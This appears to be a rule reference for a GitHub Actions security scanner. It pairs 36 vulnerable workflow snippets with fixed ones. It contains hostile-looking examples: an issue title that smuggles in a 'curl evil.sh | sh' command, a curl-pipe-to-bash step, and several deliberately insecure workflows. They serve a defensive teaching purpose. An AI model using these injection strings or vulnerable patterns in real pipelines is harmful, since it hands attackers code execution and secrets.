PipelineGuard

GitHub Actions security rules

Every check PipelineGuard runs, what the attack looks like, and the change that closes it. Each rule shows a vulnerable workflow next to a fixed one you can copy.

Scan your own workflow

CriticalPG001, pwn-request-checkout

Untrusted pull request code runs with a privileged token

The workflow is triggered by pull_request_target or workflow_run, which run with write access and secrets, and then checks out the pull request's own code. Anything in that fork (a build script, a package.json hook, a Makefile) now runs with your token. This is the classic "pwn request".

How to fix it. Use the plain pull_request trigger for anything that builds or tests contributor code. If you need a privileged follow-up (labelling, commenting), split it into a second workflow that never checks out the PR head.

Vulnerable
on: pull_request_target
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install && npm test
Fixed
on: pull_request
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm test
HighPG002, script-injection

Attacker-controlled text is pasted straight into a shell script

An expression like ${{ github.event.issue.title }} is expanded into the script before the shell sees it. A title such as a"; curl evil.sh | sh; # becomes code. Issue titles, PR bodies, branch names, commit messages and comments are all attacker-controlled.

How to fix it. Pass the value through an environment variable and reference it as a quoted shell variable. The shell then treats it as data, never as code.

Vulnerable
- run: echo "New issue: ${{ github.event.issue.title }}"
Fixed
- env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "New issue: $TITLE"
MediumPG003, unpinned-action

Action is referenced by a movable tag or branch

Tags like @v3 and branches like @main can be moved to new code at any time. If the action's repository is compromised (as happened with tj-actions/changed-files in 2025), every workflow using the tag runs the attacker's version on its next run.

How to fix it. Pin to a full 40-character commit SHA and keep the version in a comment so Dependabot or Renovate can still update it.

Vulnerable
- uses: some-org/deploy-action@v2
Fixed
- uses: some-org/deploy-action@8f4b7f84864484a7bf31766abe9204da3cbe65b3 # v2.1.0
MediumPG004, broad-token-permissions

GITHUB_TOKEN permissions are not restricted

Without a permissions block, the token inherits the repository default, which on many older repos and orgs is read/write to everything. write-all is worse. Any compromised step can then push code, publish releases or edit issues.

How to fix it. Set permissions: contents: read at the top of the workflow and grant extra scopes per job, only where needed.

Vulnerable
name: build
on: push
jobs:
  build:
    runs-on: ubuntu-latest
Fixed
name: build
on: push
permissions:
  contents: read
jobs:
  build:
    runs-on: ubuntu-latest
MediumPG005, secret-in-script

Secret is interpolated directly into a run script

${{ secrets.X }} inside run: writes the secret's value into the generated script file on the runner. It also breaks if the secret contains quotes, and echoing it can defeat log masking when the value is transformed.

How to fix it. Expose the secret through env: and reference it as a variable. Never echo, print or base64 a secret.

Vulnerable
- run: echo "${{ secrets.DEPLOY_TOKEN }}" | docker login -u me --password-stdin
Fixed
- env:
    DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
  run: printf '%s' "$DEPLOY_TOKEN" | docker login -u me --password-stdin
CriticalPG006, hardcoded-credential

Credential is committed in the workflow file

The file contains something that looks like a real AWS key, GitHub token, Slack token, OpenAI/Anthropic key or private key. Anyone who can read the repository, and its git history, can use it.

How to fix it. Revoke the credential now, then move it to repository or environment secrets. For cloud access, prefer OIDC (aws-actions/configure-aws-credentials with role-to-assume) so there is no long-lived key at all.

Vulnerable
env:
  AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
Fixed
permissions:
  id-token: write
  contents: read
steps:
  - uses: aws-actions/configure-aws-credentials@<sha>
    with:
      role-to-assume: arn:aws:iam::123456789012:role/ci-deploy
      aws-region: me-central-1
MediumPG007, curl-pipe-shell

Remote script is piped straight into a shell

curl … | bash runs whatever the server returns at that moment, unverified. If the host or the DNS is hijacked, your runner (and its token) belongs to someone else.

How to fix it. Download to a file, verify a pinned checksum or signature, then execute. Better still, use a pinned action or package manager.

Vulnerable
- run: curl -sL https://get.example.sh | bash
Fixed
- run: |
    curl -sLo install.sh https://get.example.sh
    echo "3b1c…e9  install.sh" | sha256sum -c -
    bash install.sh
HighPG008, unsecure-commands

Deprecated set-env / add-path commands are re-enabled

ACTIONS_ALLOW_UNSECURE_COMMANDS turns back on the ::set-env:: and ::add-path:: log commands GitHub disabled in 2020. Any step that prints attacker text to the log can then inject environment variables such as LD_PRELOAD or NODE_OPTIONS.

How to fix it. Remove the variable and write to the $GITHUB_ENV and $GITHUB_PATH files instead.

Vulnerable
env:
  ACTIONS_ALLOW_UNSECURE_COMMANDS: true
Fixed
- run: echo "TOOL_HOME=/opt/tool" >> "$GITHUB_ENV"
HighPG009, self-hosted-on-pr

Self-hosted runner accepts pull request jobs

A pull request from a fork can run arbitrary code on a self-hosted runner. Unlike GitHub-hosted runners, it is not thrown away after the job, so an attacker can persist, read other jobs' secrets or reach your internal network.

How to fix it. Run untrusted PR jobs on GitHub-hosted runners. If you must use self-hosted, use ephemeral runners (for example actions-runner-controller with ephemeral pods) and require approval for fork PRs.

Vulnerable
on: pull_request
jobs:
  test:
    runs-on: [self-hosted, linux]
Fixed
on: pull_request
jobs:
  test:
    runs-on: ubuntu-latest
LowPG010, checkout-persists-credentials

actions/checkout leaves the token in .git/config

By default actions/checkout writes the GITHUB_TOKEN into the local git config so later steps can push. Every later step, including third-party actions and uploaded artifacts of the workspace, can read it.

How to fix it. Set persist-credentials: false unless a later step really needs to push.

Vulnerable
- uses: actions/checkout@v4
Fixed
- uses: actions/checkout@v4
  with:
    persist-credentials: false
LowPG011, unpinned-container-image

Container image is not pinned to a digest

Images referenced by tag (or with no tag, which means latest) can be replaced in the registry. The job silently runs whatever was pushed last.

How to fix it. Reference the image by digest: image@sha256:…, and keep the tag in a comment.

Vulnerable
container:
  image: node:latest
Fixed
container:
  image: node@sha256:2b1c6f2a…  # node:22.11-bookworm
HighPG012, artifact-poisoning

Privileged workflow trusts artifacts from an untrusted run

A workflow_run job downloads artifacts produced by a pull request build. The fork controls those artifacts, so extracting them over your workspace, sourcing them or writing them to $GITHUB_ENV hands the fork code execution with your secrets.

How to fix it. Download artifacts into a dedicated directory, treat every byte as untrusted data, validate it (for example, parse a number with a strict regex) and never execute or source it.

Vulnerable
on:
  workflow_run:
    workflows: [ci]
    types: [completed]
jobs:
  report:
    steps:
      - uses: actions/download-artifact@v4
      - run: cat pr.env >> "$GITHUB_ENV"
Fixed
- uses: actions/download-artifact@v4
  with:
    path: ${{ runner.temp }}/untrusted
- run: |
    PR=$(cat "$RUNNER_TEMP/untrusted/pr-number")
    [[ "$PR" =~ ^[0-9]+$ ]] || exit 1
InfoPG013, missing-timeout

Job has no timeout

Jobs default to a 6-hour timeout. A hung step burns runner minutes (or a self-hosted machine) for hours before anyone notices.

How to fix it. Set timeout-minutes on every job to a sensible ceiling, such as 2–3× its normal duration.

Vulnerable
jobs:
  build:
    runs-on: ubuntu-latest
Fixed
jobs:
  build:
    runs-on: ubuntu-latest
    timeout-minutes: 15
LowPG014, secrets-inherit

Reusable workflow receives every secret

secrets: inherit forwards all repository, org and environment secrets to the called workflow, not just the ones it needs. If that workflow or one of its actions is compromised, everything leaks.

How to fix it. Pass only the secrets the called workflow declares.

Vulnerable
jobs:
  deploy:
    uses: org/platform/.github/workflows/deploy.yml@<sha>
    secrets: inherit
Fixed
jobs:
  deploy:
    uses: org/platform/.github/workflows/deploy.yml@<sha>
    secrets:
      KUBE_CONFIG: ${{ secrets.KUBE_CONFIG }}
MediumPG015, unguarded-comment-trigger

Anyone can trigger this job by commenting

issue_comment and discussion_comment workflows run for every commenter, including people with no access to the repository. ChatOps commands such as /deploy or /release must check who is asking.

How to fix it. Gate the job on the commenter's association with the repository.

Vulnerable
on: issue_comment
jobs:
  deploy:
    if: contains(github.event.comment.body, '/deploy')
Fixed
on: issue_comment
jobs:
  deploy:
    if: >-
      contains(github.event.comment.body, '/deploy') &&
      contains(fromJSON('["OWNER","MEMBER"]'), github.event.comment.author_association)
MediumPG016, privileged-trigger

Privileged trigger without explicit permissions

pull_request_target and workflow_run always run with secrets and, unless restricted, a write token, even when the event came from a fork. Even without checking out fork code today, the next edit to this file could.

How to fix it. Declare the smallest permissions block that works, and add a comment explaining why the privileged trigger is needed.

Vulnerable
on: pull_request_target
jobs:
  label:
    runs-on: ubuntu-latest
Fixed
on: pull_request_target
permissions:
  pull-requests: write
jobs:
  label:
    runs-on: ubuntu-latest
MediumPG017, dispatch-input-injection

Manual workflow input is pasted into a shell script

${{ inputs.x }} and ${{ github.event.inputs.x }} are expanded into the script before the shell runs. Anyone with write access, or a stolen token, can turn an input field into a command.

How to fix it. Pass inputs through env: and quote the variable. Use type: choice for inputs that only have a few valid values.

Vulnerable
- run: ./deploy.sh ${{ inputs.environment }}
Fixed
- env:
    TARGET: ${{ inputs.environment }}
  run: ./deploy.sh "$TARGET"
LowPG018, step-output-injection

Step or job output is pasted into a shell script

Outputs often carry text that came from somewhere else: a branch name, a file, an API response. Expanding ${{ steps.x.outputs.y }} straight into run: makes that text code.

How to fix it. Map the output to an env: variable and quote it in the script.

Vulnerable
- run: echo "${{ steps.meta.outputs.title }}"
Fixed
- env:
    TITLE: ${{ steps.meta.outputs.title }}
  run: echo "$TITLE"
HighPG019, always-true-if

if: condition is always true

When an if: mixes ${{ }} with text outside the braces, GitHub evaluates the whole thing as a non-empty string, which is truthy. Your guard, often a security check, never blocks anything.

How to fix it. Write the condition without ${{ }}, or put the entire expression inside one pair of braces.

Vulnerable
if: ${{ github.actor }} == 'dependabot[bot]'
Fixed
if: github.actor == 'dependabot[bot]'
HighPG020, literal-credential-input

Password or token is passed as plain text to an action

An input named password, token, secret or api-key has a literal value instead of a secrets reference. It's readable by anyone who can read the repo and it lives forever in git history.

How to fix it. Store the value as a repository or environment secret and reference it with ${{ secrets.NAME }}.

Vulnerable
with:
  password: hunter2
Fixed
with:
  password: ${{ secrets.REGISTRY_PASSWORD }}
MediumPG021, github-token-in-script

GITHUB_TOKEN is written into a run script

${{ github.token }} or ${{ secrets.GITHUB_TOKEN }} inside run: lands in the generated script on disk and is easy to leak through echo, set -x or a curl -v.

How to fix it. Pass it as GH_TOKEN through env: and let the gh CLI or your tool read it from the environment.

Vulnerable
- run: gh pr comment 1 --body hi -R x/y --token ${{ github.token }}
Fixed
- env:
    GH_TOKEN: ${{ github.token }}
  run: gh pr comment 1 --body hi
MediumPG022, tls-verification-disabled

TLS certificate checks are turned off

curl -k, wget --no-check-certificate, NODE_TLS_REJECT_UNAUTHORIZED=0, GIT_SSL_NO_VERIFY or StrictHostKeyChecking=no let anyone on the network path swap what you download or where you push.

How to fix it. Fix the certificate chain or pin the host key (ssh-keyscan into known_hosts) instead of disabling verification.

Vulnerable
- run: curl -k https://artifacts.internal/tool.tgz -o tool.tgz
Fixed
- run: curl --cacert ca.pem https://artifacts.internal/tool.tgz -o tool.tgz
MediumPG023, trace-with-secrets

Shell tracing is on in a step that has secrets

set -x prints every command after expansion. Masking only catches exact secret values, so anything derived from a secret (base64, URL-encoded, part of a header) is printed in clear text.

How to fix it. Remove set -x from steps that receive secrets, or turn it off around the commands that use them.

Vulnerable
- env:
    TOKEN: ${{ secrets.API_TOKEN }}
  run: |
    set -x
    curl -H "Authorization: Bearer $TOKEN" ...
Fixed
- env:
    TOKEN: ${{ secrets.API_TOKEN }}
  run: |
    curl -sf -H "Authorization: Bearer $TOKEN" ...
MediumPG024, artifact-uploads-workspace

Whole workspace is uploaded as an artifact

Uploading . or ** includes .git/config, which holds the checkout token unless persist-credentials is false. Artifacts on public repos can be downloaded by anyone.

How to fix it. Upload only the build output directory, and set persist-credentials: false on checkout.

Vulnerable
- uses: actions/upload-artifact@v4
  with:
    path: .
Fixed
- uses: actions/upload-artifact@v4
  with:
    path: dist/
MediumPG025, cache-in-privileged-workflow

Cache is used in a privileged workflow

pull_request_target and workflow_run run on the base branch, so the cache they write is shared with your main branch. Code from a fork that can write the cache can poison what your release jobs restore later.

How to fix it. Don't restore or save caches in privileged workflows. Keep caching in unprivileged pull_request and push jobs.

Vulnerable
on: pull_request_target
...
  - uses: actions/cache@v4
Fixed
on: pull_request
...
  - uses: actions/cache@v4
LowPG026, deprecated-workflow-command

Uses the removed set-output / save-state commands

::set-output and ::save-state were deprecated because log output could inject values. Runners now warn and will fail on them.

How to fix it. Write to $GITHUB_OUTPUT and $GITHUB_STATE instead.

Vulnerable
- run: echo "::set-output name=tag::v1"
Fixed
- run: echo "tag=v1" >> "$GITHUB_OUTPUT"
LowPG027, archived-action

Action is archived and no longer maintained

Archived actions such as actions/create-release, actions/upload-release-asset and actions/setup-ruby get no security fixes and often run on retired Node versions.

How to fix it. Switch to the maintained replacement, for example softprops/action-gh-release or the gh CLI for releases and ruby/setup-ruby for Ruby.

Vulnerable
- uses: actions/create-release@v1
Fixed
- env:
    GH_TOKEN: ${{ github.token }}
  run: gh release create "$GITHUB_REF_NAME" dist/*
LowPG028, retired-runner-image

Job targets a retired runner image

Images such as ubuntu-18.04, ubuntu-20.04, windows-2019 and macos-12 have been removed. Jobs queue forever or fail, and old images miss security patches.

How to fix it. Move to a current image such as ubuntu-24.04, or ubuntu-latest if you accept automatic upgrades.

Vulnerable
runs-on: ubuntu-20.04
Fixed
runs-on: ubuntu-24.04
MediumPG029, previously-compromised-action

Action had a publicly reported compromise

tj-actions/changed-files and reviewdog actions had their tags rewritten to steal CI secrets in 2025. Tag references to them are only as safe as their current maintainers' accounts.

How to fix it. Pin to a SHA you have reviewed, or replace the action with a few lines of git and shell.

Vulnerable
- uses: tj-actions/changed-files@v45
Fixed
- run: git diff --name-only "$BASE_SHA" HEAD
HighPG030, typosquatted-action

Action name looks like a typo of a popular action

Names such as actons/checkout or action/checkout belong to someone else. Typosquatted actions are a known way to slip malicious code into pipelines.

How to fix it. Correct the owner and name, then pin to a SHA.

Vulnerable
- uses: actons/checkout@v4
Fixed
- uses: actions/checkout@<sha> # v4
MediumPG031, privileged-container

Container runs with --privileged or the Docker socket

--privileged, or mounting /var/run/docker.sock, gives the container root on the runner host. On self-hosted runners that host persists between jobs.

How to fix it. Drop --privileged and add only the specific capabilities you need. Use rootless BuildKit or Kaniko for image builds.

Vulnerable
- run: docker run --privileged -v /var/run/docker.sock:/var/run/docker.sock tool
Fixed
- run: docker run --rm --cap-add NET_ADMIN tool
LowPG032, unlocked-dependency-install

Dependencies are installed without the lockfile

npm install and yarn install without --frozen-lockfile can resolve newer versions than the ones you reviewed. A compromised release published minutes ago lands in your build.

How to fix it. Use npm ci, yarn install --frozen-lockfile (or --immutable), pnpm install --frozen-lockfile, or pip install --require-hashes.

Vulnerable
- run: npm install
Fixed
- run: npm ci
LowPG033, broad-oidc-permission

OIDC id-token: write is granted to the whole workflow

id-token: write lets a job mint cloud credentials. Granted at the top level, every job and every action in it can request a token for your AWS, GCP or Azure roles.

How to fix it. Grant id-token: write only on the deploy job that assumes the role.

Vulnerable
permissions:
  id-token: write
  contents: read
Fixed
jobs:
  deploy:
    permissions:
      id-token: write
      contents: read
InfoPG034, deploy-without-concurrency

Deploy workflow can run twice at the same time

Two pushes in quick succession start two deploys that race each other. The older commit can finish last and quietly roll production back.

How to fix it. Add a concurrency group so deploys queue instead of overlapping.

Vulnerable
name: deploy
on:
  push:
    branches: [main]
Fixed
name: deploy
on:
  push:
    branches: [main]
concurrency:
  group: deploy-production
  cancel-in-progress: false
LowPG035, workflow-run-any-branch

workflow_run trigger has no branch filter

Without branches:, the privileged workflow_run job also fires for runs on fork pull request branches, which widens what untrusted code can influence.

How to fix it. Add branches: [main] (or your release branches) under the workflow_run trigger.

Vulnerable
on:
  workflow_run:
    workflows: [ci]
    types: [completed]
Fixed
on:
  workflow_run:
    workflows: [ci]
    types: [completed]
    branches: [main]
LowPG036, unchecked-failure

Security or test step is allowed to fail silently

continue-on-error: true on a scan, audit, lint or test step means the build stays green even when the check finds a problem, so nobody looks.

How to fix it. Remove continue-on-error, or keep it and fail a later step if the check reported issues.

Vulnerable
- run: npm audit --audit-level=high
  continue-on-error: true
Fixed
- run: npm audit --audit-level=high